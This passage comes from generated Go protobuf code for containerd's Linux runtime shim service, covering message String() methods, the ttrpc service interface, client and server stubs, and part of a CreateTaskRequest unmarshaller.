strings.Join([]string{`&ExecProcessResponse{`, 2261 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2262 | `}`, 2263 | }, "") 2264 | return s 2265 | } 2266 | func (this *ResizePtyRequest) String() string { 2267 | if this == nil { 2268 | return "nil" 2269 | } 2270 | s := strings.Join([]string{`&ResizePtyRequest{`, 2271 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2272 | `Width:` + fmt.Sprintf("%v", this.Width) + `,`, 2273 | `Height:` + fmt.Sprintf("%v", this.Height) + `,`, 2274 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2275 | `}`, 2276 | }, "") 2277 | return s 2278 | } 2279 | func (this *StateRequest) String() string { 2280 | if this == nil { 2281 | return "nil" 2282 | } 2283 | s := strings.Join([]string{`&StateRequest{`, 2284 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2285 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2286 | `}`, 2287 | }, "") 2288 | return s 2289 | } 2290 | func (this *StateResponse) String() string { 2291 | if this == nil { 2292 | return "nil" 2293 | } 2294 | s := strings.Join([]string{`&StateResponse{`, 2295 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2296 | `Bundle:` + fmt.Sprintf("%v", this.Bundle) + `,`, 2297 | `Pid:` + fmt.Sprintf("%v", this.Pid) + `,`, 2298 | `Status:` + fmt.Sprintf("%v", this.Status) + `,`, 2299 | `Stdin:` + fmt.Sprintf("%v", this.Stdin) + `,`, 2300 | `Stdout:` + fmt.Sprintf("%v", this.Stdout) + `,`, 2301 | `Stderr:` + fmt.Sprintf("%v", this.Stderr) + `,`, 2302 | `Terminal:` + fmt.Sprintf("%v", this.Terminal) + `,`, 2303 | `ExitStatus:` + fmt.Sprintf("%v", this.ExitStatus) + `,`, 2304 | `ExitedAt:` + strings.Replace(strings.Replace(this.ExitedAt.String(), "Timestamp", "types1.Timestamp", 1), `&`, ``, 1) + `,`, 2305 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2306 | `}`, 2307 | }, "") 2308 | return s 2309 | } 2310 | func (this *KillRequest) String() string { 2311 | if this == nil { 2312 | return "nil" 2313 | } 2314 | s := strings.Join([]string{`&KillRequest{`, 2315 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2316 | `Signal:` + fmt.Sprintf("%v", this.Signal) + `,`, 2317 | `All:` + fmt.Sprintf("%v", this.All) + `,`, 2318 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2319 | `}`, 2320 | }, "") 2321 | return s 2322 | } 2323 | func (this *CloseIORequest) String() string { 2324 | if this == nil { 2325 | return "nil" 2326 | } 2327 | s := strings.Join([]string{`&CloseIORequest{`, 2328 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2329 | `Stdin:` + fmt.Sprintf("%v", this.Stdin) + `,`, 2330 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2331 | `}`, 2332 | }, "") 2333 | return s 2334 | } 2335 | func (this *ListPidsRequest) String() string { 2336 | if this == nil { 2337 | return "nil" 2338 | } 2339 | s := strings.Join([]string{`&ListPidsRequest{`, 2340 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2341 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2342 | `}`, 2343 | }, "") 2344 | return s 2345 | } 2346 | func (this *ListPidsResponse) String() string { 2347 | if this == nil { 2348 | return "nil" 2349 | } 2350 | s := strings.Join([]string{`&ListPidsResponse{`, 2351 | `Processes:` + strings.Replace(fmt.Sprintf("%v", this.Processes), "ProcessInfo", "task.ProcessInfo", 1) + `,`, 2352 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2353 | `}`, 2354 | }, "") 2355 | return s 2356 | } 2357 | func (this *CheckpointTaskRequest) String() string { 2358 | if this == nil { 2359 | return "nil" 2360 | } 2361 | s := strings.Join([]string{`&CheckpointTaskRequest{`, 2362 | `Path:` + fmt.Sprintf("%v", this.Path) + `,`, 2363 | `Options:` + strings.Replace(fmt.Sprintf("%v", this.Options), "Any", "types1.Any", 1) + `,`, 2364 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2365 | `}`, 2366 | }, "") 2367 | return s 2368 | } 2369 | func (this *ShimInfoResponse) String() string { 2370 | if this == nil { 2371 | return "nil" 2372 | } 2373 | s := strings.Join([]string{`&ShimInfoResponse{`, 2374 | `ShimPid:` + fmt.Sprintf("%v", this.ShimPid) + `,`, 2375 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2376 | `}`, 2377 | }, "") 2378 | return s 2379 | } 2380 | func (this *UpdateTaskRequest) String() string { 2381 | if this == nil { 2382 | return "nil" 2383 | } 2384 | s := strings.Join([]string{`&UpdateTaskRequest{`, 2385 | `Resources:` + strings.Replace(fmt.Sprintf("%v", this.Resources), "Any", "types1.Any", 1) + `,`, 2386 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2387 | `}`, 2388 | }, "") 2389 | return s 2390 | } 2391 | func (this *StartRequest) String() string { 2392 | if this == nil { 2393 | return "nil" 2394 | } 2395 | s := strings.Join([]string{`&StartRequest{`, 2396 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2397 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2398 | `}`, 2399 | }, "") 2400 | return s 2401 | } 2402 | func (this *StartResponse) String() string { 2403 | if this == nil { 2404 | return "nil" 2405 | } 2406 | s := strings.Join([]string{`&StartResponse{`, 2407 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2408 | `Pid:` + fmt.Sprintf("%v", this.Pid) + `,`, 2409 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2410 | `}`, 2411 | }, "") 2412 | return s 2413 | } 2414 | func (this *WaitRequest) String() string { 2415 | if this == nil { 2416 | return "nil" 2417 | } 2418 | s := strings.Join([]string{`&WaitRequest{`, 2419 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2420 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2421 | `}`, 2422 | }, "") 2423 | return s 2424 | } 2425 | func (this *WaitResponse) String() string { 2426 | if this == nil { 2427 | return "nil" 2428 | } 2429 | s := strings.Join([]string{`&WaitResponse{`, 2430 | `ExitStatus:` + fmt.Sprintf("%v", this.ExitStatus) + `,`, 2431 | `ExitedAt:` + strings.Replace(strings.Replace(this.ExitedAt.String(), "Timestamp", "types1.Timestamp", 1), `&`, ``, 1) + `,`, 2432 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2433 | `}`, 2434 | }, "") 2435 | return s 2436 | } 2437 | func valueToStringShim(v interface{}) string { 2438 | rv := reflect.ValueOf(v) 2439 | if rv.IsNil() { 2440 | return "nil" 2441 | } 2442 | pv := reflect.Indirect(rv).Interface() 2443 | return fmt.Sprintf("*%v", pv) 2444 | } 2445 | 2446 | type ShimService interface { 2447 | State(ctx context.Context, req *StateRequest) (*StateResponse, error) 2448 | Create(ctx context.Context, req *CreateTaskRequest) (*CreateTaskResponse, error) 2449 | Start(ctx context.Context, req *StartRequest) (*StartResponse, error) 2450 | Delete(ctx context.Context, req *types1.Empty) (*DeleteResponse, error) 2451 | DeleteProcess(ctx context.Context, req *DeleteProcessRequest) (*DeleteResponse, error) 2452 | ListPids(ctx context.Context, req *ListPidsRequest) (*ListPidsResponse, error) 2453 | Pause(ctx context.Context, req *types1.Empty) (*types1.Empty, error) 2454 | Resume(ctx context.Context, req *types1.Empty) (*types1.Empty, error) 2455 | Checkpoint(ctx context.Context, req *CheckpointTaskRequest) (*types1.Empty, error) 2456 | Kill(ctx context.Context, req *KillRequest) (*types1.Empty, error) 2457 | Exec(ctx context.Context, req *ExecProcessRequest) (*types1.Empty, error) 2458 | ResizePty(ctx context.Context, req *ResizePtyRequest) (*types1.Empty, error) 2459 | CloseIO(ctx context.Context, req *CloseIORequest) (*types1.Empty, error) 2460 | ShimInfo(ctx context.Context, req *types1.Empty) (*ShimInfoResponse, error) 2461 | Update(ctx context.Context, req *UpdateTaskRequest) (*types1.Empty, error) 2462 | Wait(ctx context.Context, req *WaitRequest) (*WaitResponse, error) 2463 | } 2464 | 2465 | func RegisterShimService(srv *github_com_containerd_ttrpc.Server, svc ShimService) { 2466 | srv.Register("containerd.runtime.linux.shim.v1.Shim", map[string]github_com_containerd_ttrpc.Method{ 2467 | "State": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2468 | var req StateRequest 2469 | if err := unmarshal(&req); err != nil { 2470 | return nil, err 2471 | } 2472 | return svc.State(ctx, &req) 2473 | }, 2474 | "Create": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2475 | var req CreateTaskRequest 2476 | if err := unmarshal(&req); err != nil { 2477 | return nil, err 2478 | } 2479 | return svc.Create(ctx, &req) 2480 | }, 2481 | "Start": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2482 | var req StartRequest 2483 | if err := unmarshal(&req); err != nil { 2484 | return nil, err 2485 | } 2486 | return svc.Start(ctx, &req) 2487 | }, 2488 | "Delete": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2489 | var req types1.Empty 2490 | if err := unmarshal(&req); err != nil { 2491 | return nil, err 2492 | } 2493 | return svc.Delete(ctx, &req) 2494 | }, 2495 | "DeleteProcess": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2496 | var req DeleteProcessRequest 2497 | if err := unmarshal(&req); err != nil { 2498 | return nil, err 2499 | } 2500 | return svc.DeleteProcess(ctx, &req) 2501 | }, 2502 | "ListPids": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2503 | var req ListPidsRequest 2504 | if err := unmarshal(&req); err != nil { 2505 | return nil, err 2506 | } 2507 | return svc.ListPids(ctx, &req) 2508 | }, 2509 | "Pause": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2510 | var req types1.Empty 2511 | if err := unmarshal(&req); err != nil { 2512 | return nil, err 2513 | } 2514 | return svc.Pause(ctx, &req) 2515 | }, 2516 | "Resume": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2517 | var req types1.Empty 2518 | if err := unmarshal(&req); err != nil { 2519 | return nil, err 2520 | } 2521 | return svc.Resume(ctx, &req) 2522 | }, 2523 | "Checkpoint": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2524 | var req CheckpointTaskRequest 2525 | if err := unmarshal(&req); err != nil { 2526 | return nil, err 2527 | } 2528 | return svc.Checkpoint(ctx, &req) 2529 | }, 2530 | "Kill": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2531 | var req KillRequest 2532 | if err := unmarshal(&req); err != nil { 2533 | return nil, err 2534 | } 2535 | return svc.Kill(ctx, &req) 2536 | }, 2537 | "Exec": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2538 | var req ExecProcessRequest 2539 | if err := unmarshal(&req); err != nil { 2540 | return nil, err 2541 | } 2542 | return svc.Exec(ctx, &req) 2543 | }, 2544 | "ResizePty": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2545 | var req ResizePtyRequest 2546 | if err := unmarshal(&req); err != nil { 2547 | return nil, err 2548 | } 2549 | return svc.ResizePty(ctx, &req) 2550 | }, 2551 | "CloseIO": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2552 | var req CloseIORequest 2553 | if err := unmarshal(&req); err != nil { 2554 | return nil, err 2555 | } 2556 | return svc.CloseIO(ctx, &req) 2557 | }, 2558 | "ShimInfo": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2559 | var req types1.Empty 2560 | if err := unmarshal(&req); err != nil { 2561 | return nil, err 2562 | } 2563 | return svc.ShimInfo(ctx, &req) 2564 | }, 2565 | "Update": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2566 | var req UpdateTaskRequest 2567 | if err := unmarshal(&req); err != nil { 2568 | return nil, err 2569 | } 2570 | return svc.Update(ctx, &req) 2571 | }, 2572 | "Wait": func(ctx context.Context, unmarshal func(interface{}) error) (interface{}, error) { 2573 | var req WaitRequest 2574 | if err := unmarshal(&req); err != nil { 2575 | return nil, err 2576 | } 2577 | return svc.Wait(ctx, &req) 2578 | }, 2579 | }) 2580 | } 2581 | 2582 | type shimClient struct { 2583 | client *github_com_containerd_ttrpc.Client 2584 | } 2585 | 2586 | func NewShimClient(client *github_com_containerd_ttrpc.Client) ShimService { 2587 | return &shimClient{ 2588 | client: client, 2589 | } 2590 | } 2591 | 2592 | func (c *shimClient) State(ctx context.Context, req *StateRequest) (*StateResponse, error) { 2593 | var resp StateResponse 2594 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "State", req, &resp); err != nil { 2595 | return nil, err 2596 | } 2597 | return &resp, nil 2598 | } 2599 | 2600 | func (c *shimClient) Create(ctx context.Context, req *CreateTaskRequest) (*CreateTaskResponse, error) { 2601 | var resp CreateTaskResponse 2602 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Create", req, &resp); err != nil { 2603 | return nil, err 2604 | } 2605 | return &resp, nil 2606 | } 2607 | 2608 | func (c *shimClient) Start(ctx context.Context, req *StartRequest) (*StartResponse, error) { 2609 | var resp StartResponse 2610 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Start", req, &resp); err != nil { 2611 | return nil, err 2612 | } 2613 | return &resp, nil 2614 | } 2615 | 2616 | func (c *shimClient) Delete(ctx context.Context, req *types1.Empty) (*DeleteResponse, error) { 2617 | var resp DeleteResponse 2618 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Delete", req, &resp); err != nil { 2619 | return nil, err 2620 | } 2621 | return &resp, nil 2622 | } 2623 | 2624 | func (c *shimClient) DeleteProcess(ctx context.Context, req *DeleteProcessRequest) (*DeleteResponse, error) { 2625 | var resp DeleteResponse 2626 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "DeleteProcess", req, &resp); err != nil { 2627 | return nil, err 2628 | } 2629 | return &resp, nil 2630 | } 2631 | 2632 | func (c *shimClient) ListPids(ctx context.Context, req *ListPidsRequest) (*ListPidsResponse, error) { 2633 | var resp ListPidsResponse 2634 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "ListPids", req, &resp); err != nil { 2635 | return nil, err 2636 | } 2637 | return &resp, nil 2638 | } 2639 | 2640 | func (c *shimClient) Pause(ctx context.Context, req *types1.Empty) (*types1.Empty, error) { 2641 | var resp types1.Empty 2642 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Pause", req, &resp); err != nil { 2643 | return nil, err 2644 | } 2645 | return &resp, nil 2646 | } 2647 | 2648 | func (c *shimClient) Resume(ctx context.Context, req *types1.Empty) (*types1.Empty, error) { 2649 | var resp types1.Empty 2650 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Resume", req, &resp); err != nil { 2651 | return nil, err 2652 | } 2653 | return &resp, nil 2654 | } 2655 | 2656 | func (c *shimClient) Checkpoint(ctx context.Context, req *CheckpointTaskRequest) (*types1.Empty, error) { 2657 | var resp types1.Empty 2658 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Checkpoint", req, &resp); err != nil { 2659 | return nil, err 2660 | } 2661 | return &resp, nil 2662 | } 2663 | 2664 | func (c *shimClient) Kill(ctx context.Context, req *KillRequest) (*types1.Empty, error) { 2665 | var resp types1.Empty 2666 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Kill", req, &resp); err != nil { 2667 | return nil, err 2668 | } 2669 | return &resp, nil 2670 | } 2671 | 2672 | func (c *shimClient) Exec(ctx context.Context, req *ExecProcessRequest) (*types1.Empty, error) { 2673 | var resp types1.Empty 2674 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Exec", req, &resp); err != nil { 2675 | return nil, err 2676 | } 2677 | return &resp, nil 2678 | } 2679 | 2680 | func (c *shimClient) ResizePty(ctx context.Context, req *ResizePtyRequest) (*types1.Empty, error) { 2681 | var resp types1.Empty 2682 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "ResizePty", req, &resp); err != nil { 2683 | return nil, err 2684 | } 2685 | return &resp, nil 2686 | } 2687 | 2688 | func (c *shimClient) CloseIO(ctx context.Context, req *CloseIORequest) (*types1.Empty, error) { 2689 | var resp types1.Empty 2690 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "CloseIO", req, &resp); err != nil { 2691 | return nil, err 2692 | } 2693 | return &resp, nil 2694 | } 2695 | 2696 | func (c *shimClient) ShimInfo(ctx context.Context, req *types1.Empty) (*ShimInfoResponse, error) { 2697 | var resp ShimInfoResponse 2698 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "ShimInfo", req, &resp); err != nil { 2699 | return nil, err 2700 | } 2701 | return &resp, nil 2702 | } 2703 | 2704 | func (c *shimClient) Update(ctx context.Context, req *UpdateTaskRequest) (*types1.Empty, error) { 2705 | var resp types1.Empty 2706 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Update", req, &resp); err != nil { 2707 | return nil, err 2708 | } 2709 | return &resp, nil 2710 | } 2711 | 2712 | func (c *shimClient) Wait(ctx context.Context, req *WaitRequest) (*WaitResponse, error) { 2713 | var resp WaitResponse 2714 | if err := c.client.Call(ctx, "containerd.runtime.linux.shim.v1.Shim", "Wait", req, &resp); err != nil { 2715 | return nil, err 2716 | } 2717 | return &resp, nil 2718 | } 2719 | func (m *CreateTaskRequest) Unmarshal(dAtA []byte) error { 2720 | l := len(dAtA) 2721 | iNdEx := 0 2722 | for iNdEx < l { 2723 | preIndex := iNdEx 2724 | var wire uint64 2725 | for shift := uint(0); ; shift += 7 { 2726 | if shift >= 64 { 2727 | return ErrIntOverflowShim 2728 | } 2729 | if iNdEx >= l { 2730 | return io.ErrUnexpectedEOF 2731 | } 2732 | b := dAtA[iNdEx] 2733 | iNdEx++ 2734 | wire |= uint64(b&0x7F) << shift 2735 | if b < 0x80 { 2736 | break 2737 | } 2738 | } 2739 | fieldNum := int32(wire >> 3) 2740 | wireType := int(wire & 0x7) 2741 | if wireType == 4 { 2742 | return fmt.Errorf("proto: CreateTaskRequest: wiretype end group for non-group") 2743 | } 2744 | if fieldNum <= 0 { 2745 | return fmt.Errorf("proto: CreateTaskRequest: illegal tag %d (wire type %d)", fieldNum, wire) 2746 | } 2747 | switch fieldNum { 2748 | case 1: 2749 | if wireType != 2 { 2750 | return fmt.Errorf("proto: wrong wireType = %d for field ID", wireType) 2751 | } 2752 | var stringLen uint64 2753 | for shift := uint(0); ; shift += 7 { 2754 | if shift >= 64 { 2755 | return ErrIntOverflowShim 2756 | } 2757 | if iNdEx >= l { 2758 | return io.ErrUnexpectedEOF 2759 | } 2760 | b := dAtA[iNdEx] 2761 | iNdEx++ 2762 | stringLen |= uint64(b&0x7F) << shift 2763 | if b < 0x80 { 2764 | break 2765 | } 2766 | } 2767 | intStringLen := int(stringLen) 2768 | if intStringLen < 0 { 2769 | return ErrInvalidLengthShim 2770 | } 2771 | postIndex := iNdEx + intStringLen 2772 | if postIndex < 0 { 2773 | return ErrInvalidLengthShim 2774 | } 2775 | if postIndex > l { 2776 | return io.ErrUnexpectedEOF 2777 | } 2778 | m.ID = string(dAtA[iNdEx:postIndex]) 2779 | iNdEx = postIndex 2780 | case 2: 2781 | if wireType != 2 { 2782 | return fmt.Errorf("proto: wrong wireType = %d for field Bundle", wireType) 2783 | } 2784 | var stringLen uint64 2785 | for shift := uint(0); ; shift += 7 { 2786 | if shift >= 64 { 2787 | return ErrIntOverflowShim 2788 | } 2789 | if iNdEx >= l { 2790 | return io.ErrUnexpectedEOF 2791 | } 2792 | b := dAtA[iNdEx] 2793 | iNdEx++ 2794 | stringLen |= uint64(b&0x7F) << shift 2795 | if b < 0x80 { 2796 | break 2797 | } 2798 | } 2799 | intStringLen := int(stringLen) 2800 | if intStringLen < 0 { 2801 | return ErrInvalidLengthShim 2802 | } 2803 | postIndex := iNdEx + intStringLen 2804 | if postIndex < 0 { 2805 | return ErrInvalidLengthShim 2806 | } 2807 | if postIndex > l { 2808 | return io.ErrUnexpectedEOF 2809 | } 2810 | m.Bundle = string(dAtA[iNdEx:postIndex]) 2811 | iNdEx = postIndex 2812 | case 3: 2813 | if wireType != 2 { 2814 | return fmt.Errorf("proto: wrong wireType = %d for field Runtime", wireType) 2815 | } 2816 | var stringLen uint64 2817 | for shift := uint(0); ; shift += 7 { 2818 | if shift >= 64 { 2819 | return ErrIntOverflowShim 2820 | } 2821 | if iNdEx >= l { 2822 | return io.ErrUnexpectedEOF 2823 | } 2824 | b := dAtA[iNdEx] 2825 | iNdEx++ 2826 | stringLen |= uint64(b&0x7F) << shift 2827 | if b < 0x80 { 2828 | break 2829 | } 2830 | } 2831 | intStringLen := int(stringLen) 2832 | if intStringLen < 0 { 2833 | return ErrInvalidLengthShim 2834 | } 2835 | postIndex := iNdEx + intStringLen 2836 | if postIndex < 0 { 2837 | return ErrInvalidLengthShim 2838 | } 2839 | if postIndex > l { 2840 | return io.ErrUnexpectedEOF 2841 | } 2842 | m.Runtime = string(dAtA[iNdEx:postIndex]) 2843 | iNdEx = postIndex 2844 | case 4: 2845 | if wireType != 2 { 2846 | return fmt.Errorf("proto: wrong wireType = %d for field Rootfs", wireType) 2847 | } 2848 | var msglen int 2849 | for shift := uint(0); ; shift += 7 { 2850 | if shift >= 64 { 2851 | return ErrIntOverflowShim 2852 | } 2853 | if iNdEx >= l { 2854 | return io.ErrUnexpectedEOF 2855 | } 2856 | b := dAtA[iNdEx] 2857 | iNdEx++ 2858 | msglen |= int(b&0x7F) << shift 2859 | if b < 0x80 { 2860 | break 2861 | } 2862 | } 2863 | if msglen < 0 { 2864 | return ErrInvalidLengthShim 2865 | } 2866 | postIndex := iNdEx + msglen 2867 | if postIndex < 0 { 2868 | return ErrInvalidLengthShim 2869 | } 2870 | if postIndex > l { 2871 | return io.ErrUnexpectedEOF 2872 | } 2873 | m.Rootfs = append(m.Rootfs, &types.Mount{}) 2874 | if err := m.Rootfs[len(m.Rootfs)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 2875 | return err 2876 | } 2877 | iNdEx = postIndex 2878 | case 5: 2879 | if wireType != 0 { 2880 | return fmt.Errorf("proto: wrong wireType = %d for field Terminal", wireType) 2881 | } 2882 | var v int 2883 | for shift := uint(0); ; shift += 7 { 2884 | if shift >= 64 { 2885 | return ErrIntOverflowShim 2886 | } 2887 | if iNdEx >= l { 2888 | return io.ErrUnexpectedEOF 2889 | } 2890 | b := dAtA[iNdEx] 2891 | iNdEx++ 2892 | v |= int(b&0x7F) << shift 2893 | if b < 0x80 { 2894 | break 2895 | } 2896 | } 2897 | m.Terminal = bool(v != 0) 2898 | case 6: 2899 | if wireType != 2 { 2900 | return fmt.Errorf("proto: wrong wireType = %d for field Stdin", wireType) 2901 | } 2902 | var stringLen uint64 2903 | for shift := uint(0); ; shift += 7 { 2904 | if shift >= 64 { 2905 | return ErrIntOverflowShim 2906 | } 2907 | if iNdEx >= l { 2908 | return io.ErrUnexpectedEOF 2909 | } 2910 | b := dAtA[iNdEx] 2911 | iNdEx++ 2912 | stringLen |= uint64(b&0x7F) << shift 2913 | if b < 0x80 { 2914 | break 2915 | } 2916 | } 2917 | intStringLen := int(stringLen) 2918 | if intStringLen < 0 { 2919 | return ErrInvalidLengthShim 2920 | } 2921 | postIndex := iNdEx + intStringLen 2922 | if postIndex < 0 { 2923 | return ErrInvalidLengthShim 2924 | } 2925 | if postIndex > l { 2926 | return io.ErrUnexpectedEOF 2927 | } 2928 | m.Stdin = string(dAtA[iNdEx:postIndex]) 2929 | iNdEx = postIndex 2930 | case 7: 2931 | if wireType != 2 { 2932 | return fmt.Errorf("proto: wrong wireType = %d for field Stdout", wireType) 2933 | } 2934 | var stringLen uint64 2935 | for shift := uint(0); ; shift += 7 { 2936 | if shift >= 64 { 2937 | return ErrIntOverflowShim 2938 | } 2939 | if iNdEx >= l { 2940 | return io.ErrUnexpectedEOF 2941 | } 2942 | b := dAtA[iNdEx] 2943 | iNdEx++ 2944 | stringLen |= uint64(b&0x7F) << shift 2945 | if b < 0x80 { 2946 | break 2947 | } 2948 | } 2949 | intStringLen := int(stringLen) 2950 | if intStringLen < 0 { 2951 | return ErrInvalidLengthShim 2952 | } 2953 | postIndex := iNdEx + intStringLen 2954 | if postIndex < 0 { 2955 | return ErrInvalidLengthShim 2956 | } 2957 | if postIndex > l { 2958 | return io.ErrUnexpectedEOF 2959 | } 2960 | m.Stdout = string(dAtA[iNdEx:postIndex]) 2961 | iNdEx = postIndex 2962 | case 8: 2963 | if wireType != 2 { 2964 | return fmt.Errorf("proto: wrong wireType = %d for field Stderr", wireType) 2965 | } 2966 | var stringLen uint64 2967 | for shift := uint(0); ; shift += 7 { 2968 | if shift >= 64 { 2969 | return ErrIntOverflowShim 2970 | } 2971 | if iNdEx >= l { 2972 | return io.ErrUnexpectedEOF 2973 | } 2974 | b := dAtA[iNdEx] 2975 | iNdEx++ 2976 | stringLen |= uint64(b&0x7F) << shift 2977 | if b < 0x80 { 2978 | break 2979 | } 2980 | } 2981 | intStringLen := int(stringLen) 2982 | if intStringLen < 0 { 2983 | return ErrInvalidLengthShim 2984 | } 2985 | postIndex := iNdEx + intStringLen 2986 | if postIndex < 0 { 2987 | return ErrInvalidLengthShim 2988 | } 2989 | if postIndex > l { 2990 | return io.ErrUnexpectedEOF 2991 | } 2992 | m.Stderr = string(dAtA[iNdEx:postIndex]) 2993 | iNdEx = postIndex 2994 | case 9: 2995 | if wireType != 2 { 2996 | return fmt.Errorf("proto: wrong wireType = %d for field Checkpoint", wireType) 2997 | } 2998 | var stringLen uint64 2999 | for shift := uint(0); ; shift += 7 { 3000 | if shift >= 64 { 3001 | return ErrIntOverflowShim 3002 | } 3003 | if iNdEx >= l { 3004 | return io.ErrUnexpectedEOF 3005 | } 3006 | b := dAtA[iNdEx] 3007 | iNdEx++ 3008 | stringLen |= uint64(b&0x7F) << shift 3009 | if b < 0x80 { 3010 | break 3011 | } 3012 | } 3013 | intStringLen := int(stringLen) 3014 | if intStringLen < 0 { 3015 | return ErrInvalidLengthShim 3016 | } 3017 | postIndex := iNdEx + intStringLen 3018 | if postIndex < 0 { 3019 | return ErrInvalidLengthShim 3020 | } 3021 | if postIndex > l { 3022 | return io.ErrUnexpectedEOF 3023 | } 3024 | m.Checkpoint = string(dAtA[iNdEx:postIndex]) 3025 | iNdEx = postIndex 3026 | case 10: 3027 | if wireType != 2 { 3028 | return fmt.Errorf("proto: wrong wireType = %d for field ParentCheckpoint", wireType) 3029 | } 3030 | var stringLen uint64 3031 | for shift := uint(0); ; shift += 7 { 3032 | if shift >= 64 { 3033 | return ErrIntOverflowShim 3034 | } 3035 | if iNdEx >= l { 3036 | return io.ErrUnexpectedEOF 3037 | } 3038 | b := dAtA[iNdEx] 3039 | iNdEx++ 3040 | stringLen |= uint64(b&0x7F) << shift 3041 | if b < 0x80 { 3042 | break 3043 | } 3044 | } 3045 | intStringLen := int(stringLen) 3046 | if intStringLen < 0 { 3047 | return ErrInvalidLengthShim 3048 | } 3049 | postIndex := iNdEx + intStringLen 3050 | if postIndex < 0 { 3051 | return ErrInvalidLengthShim 3052 | } 3053 | if postIndex > l { 3054 | return io.ErrUnexpectedEOF 3055 | } 3056 | m.ParentCheckpoint = string(dAtA[iNdEx:postIndex]) 3057 | iNdEx = postIndex 3058 | case 11: 3059 | if wireType != 2 { 3060 | return fmt.Errorf("proto: wrong wireType = %d for field Options", wireType) 3061 | } 3062 | var msglen int 3063 | for shift := uint(0); ; shift += 7 { 3064 | if shift >= 64 { 3065 | return ErrIntOverflowShim 3066 | } 3067 | if iNdEx >= l { 3068 | return io.ErrUnexpectedEOF 3069 | } 3070 | b := dAtA[iNdEx] 3071 | iNdEx++ 3072 | msglen |= int(b&0x7F) << shift 3073 | if b < 0x80 { 3074 | break 3075 | } 3076 | } 3077 | if msglen < 0 { 3078 | return ErrInvalidLengthShim 3079 | } 3080 | postIndex := iNdEx + msglen 3081 | if postIndex < 0 { 3082 | return ErrInvalidLengthShim 3083 | } 3084 | if postIndex > l { 3085 | return io.ErrUnexpectedEOF 3086 | } 3087 | if m.Options == nil { 3088 | m.Options = &types1.Any{} 3089 | } 3090 | if err := m.Options.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { 3091 | return err 3092 | } 3093 | iNdEx = postIndex 3094 | default: 3095 | iNdEx = preIndex 3096 | skippy, err := skipShim(dAtA[iNdEx:]) 3097 | if err != nil { 3098 | return err 3099 | } 3100 | if skippy < 0 { 3101 | return ErrInvalidLengthShim 3102 | } 3103 | if (iNdEx + skippy) < 0 { 3104 | return ErrInvalidLengthShim 3105 | } 3106 | if (iNdEx + skippy) > l { 3107 | return io.ErrUnexpectedEOF 3108 | } 3109 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 3110 | iNdEx += skippy 3111 | } 3112 | } 3113 | 3114 | if iNdEx > l { 3115 | return io.ErrUnexpectedEOF 3116 | } 3117 | return nil 3118 | 